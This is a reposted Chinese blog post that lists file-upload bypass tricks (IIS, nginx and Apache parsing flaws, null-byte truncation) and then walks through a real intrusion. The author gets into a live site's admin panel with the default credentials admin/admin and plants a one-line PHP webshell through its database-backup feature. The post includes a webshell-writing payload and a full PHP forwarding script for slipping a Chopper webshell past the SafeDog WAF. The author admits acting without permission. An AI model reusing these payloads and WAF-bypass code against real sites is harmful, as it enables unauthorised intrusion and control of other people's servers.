文件上传姿势整理(附实战)

Posted s1ye

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传姿势整理(附实战)相关的知识,希望对你有一定的参考价值。

——人的理想志向往往和他的能力成正比。

在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来)。

文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -。):

MIME类型绕过漏洞(就是content-type:)

文件内容检测绕过

空字节截断(%00,0x00)

解析导致的文件上传漏洞:

IIS6.0/IIS7.0/IIS7.5(后面细说)

Apache站上的解析缺陷绕过上传

htaccess文件上传解析漏洞

还有就是各种cms漏洞以及编辑器漏洞获取webshell。 接下来我来说说个别漏洞的成因原理,我觉得应该不止我一个人不知道这些漏洞原理的(反正我之前没去了解过),学习原理有一个好处就是,当我们遇到上传点了,一通瞎jb传,完了传不上去,不知道原因,总感觉自己哪个过程出错了。其实TM就是我不懂这些漏洞的原理,比如IIS7.5的cgi关了你看到了7.5的服务器,非tm要强行解析??(反正我有过)

先从IIS服务器开始吧(不对的地方欢迎给位大大指出):

IIS6.0 :

1.如果存在 a.asp目录,那么我们在该目录下上传的文件都会以asp解析 比如/a.asp/a.jpg

2.上传a.asp;.xx.jpg类型的文件,web服务器查到“;”会内存截断,所以就变成了a.asp文件,据说是iis的特性。

IIS7.0/7.5+nginx≤0.8.37:

IIS7.0/7.5  由于php配置文件中,默认开启了cgi.fix_pathinfo,若url中存在 .php则iis交给php解析(所以不要怪解析漏洞不管用,可能是cgi被关闭了)

nginx和iis7.5类似,1.默认Fast-CGI开启状况下,上传一个x.jpg文件,内容为:  <?php fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>

访问../../../x.jpg/.php会在改目录下生成一个shell.php;

2.上传图片马 访问xxx.jpg%00.php执行代码----原理

 Apache解析漏洞:

apache从右向左解析 所以  x.php.jpg文件将以x.php执行

还看到一篇文章是说 apache以moudle方式与php结合所以产生该漏洞,而以fastcgi方式则不存在该漏洞(这里我也不太懂,希望有大大可以给解释一下)

还要说一句,利用%00等的截断上传在php5.3.4以后就没有作用了,因为php5.3.4 修复了0字符。

漏洞上传绕过的具体姿势,见n牛的博客:这里

 

------------------------------------------------------------------------------------------------------------------万恶的分割线----------------------------------------------------------------------------------------------------------------------------------------------

最近两天在整理文件上传的姿势,基本上把网上能查到的都去学了一下姿势和原理,感觉成果还不错,今天就想着实战一下,找了一下自己手里有漏洞的站就试了一下手。

实战

手里的这个站是个弱口令后台  http://xxx.com/admin/  账号密码 admin admin (其实现实中存在弱口令的网站有很多,即使不是以上这种 认真收集一下信息可能就会有意想不到的结果)废话不多说,进了后台看看。

技术分享图片

刚一进来就发现了惊喜--“备份数据库”,呵 年轻人! 顿时觉得这个站八九不离十了。但是这两天研究了那么多上传姿势,我怎么甘心这么直接的getshell呢,所以准备来试试其他方法。

根据以有的信息, web服务器是iis的,但是哪个版本我TMD并没有发现(各位大大有什么方法可以交流一下,毕竟我是个新手菜比.. - -,),既然是iis的,就准备试试解析漏洞,找了个上传点先直接上传.asp文件试试(只要管理员不傻,这种情况基本不存在....),然后就..

技术分享图片

将.asp改成.jpg传一下试试呢,卧槽,结果也不行?难不成不允许上传图片???然后试了一下正常图片

技术分享图片

结果传上去了,那就很明显了,这个上传点不仅检查后缀名,文件类型,还检查文件内容。这时就想到了在n牛博客里看到的文件上传姿势,既然他检查文件内容那就加一个图片的头就好了。

技术分享图片

ok,传上去了(这里传的php马),然后就尝试了各种方式改文件名,结果发现上传的图片被重命名了,这没办法了,解析漏洞也没得(敲黑板!iis7.5的话php默认开启cgi才存在畸形解析,而asp不存在cgi所以没有解析漏洞)所以我一怒之下! 呵,还是老老实实的数据库备份吧......

接下来的过程就没(整)有(篇)什(都)么(没)技术含量了,简单说一下过程吧,像这样

技术分享图片技术分享图片

接下来访问该地址:

技术分享图片

ojbk,我们的马儿欢快的传进去了,接下来就是掏出菜刀开干了,原本我以为一切如此顺利,结果连菜刀的时候他给老子爆这个??

技术分享图片

我TM黑人问号脸,安全狗??好狗啊好狗,我手里又他妈没有什么过狗刀,难道放弃了??  不存在的,忘记了在哪个牛的博客里看到了本地转发过狗的这个方法,还好当时记录了下来

先启动phpstudy,然后把我们的一句话马的地址插入到下面的代码里:

<?php $target="http://www.xxx.com/admin/Databackup/xxoo.php";//这个就是前面那个一句话的地址
$poststr=‘‘;
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER[‘QUERY_STRING‘];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

 然后我们打开菜刀,添加 “http://127.0.0.1/webshell.php?a=assert” 密码就是一句话的密码(那个webshell.php就是上面代码保存的名字,记得要放到www目录) 就成功绕过了这条狗了

技术分享图片

呵,还真是一条可爱的狗呢,老子提起菜刀就是给你一顿抡!

 技术分享图片

哈哈,没有对网站做任何破坏,我也不说什么友情检测之类的虚伪的话,写了这篇文章来记录自己成长路上的点滴,每当看到自己搞不定的问题其他大牛分分钟搞定,也许这就是能让我前进的动力吧。前段时间一个学长告诉我,一定要自己多写东西,当然这个写不是写文章写博客,而是敲代码,从代码层面来理解漏洞的原理,所以最近在疯狂的 百度 google各种web漏洞的原理,然后去理解,虽然不一定理解的很透彻(毕竟我是新手菜比),但是依然学到了很多很多东西 把这些想法和做法分享给和我一样菜的小白,希望我们在这条路上一起前进,不忘初心,别走上一条不归路,共勉!

 

以上是关于文件上传姿势整理(附实战)的主要内容,如果未能解决你的问题,请参考以下文章

挖洞姿势:特殊的上传技巧,绕过PHP图片转换实现远程代码执行(RCE)

业内“大师级Dubbo实战笔记”面世,附学习笔记+面试整理+进阶书籍

C站最全Web安全-文件上传绕过思路拓展(附知识脑图,快收藏!)

Upfile的几种常见姿势

Upfile的几种常见姿势

自己整理的30w字Java面试手册附高清pdf下载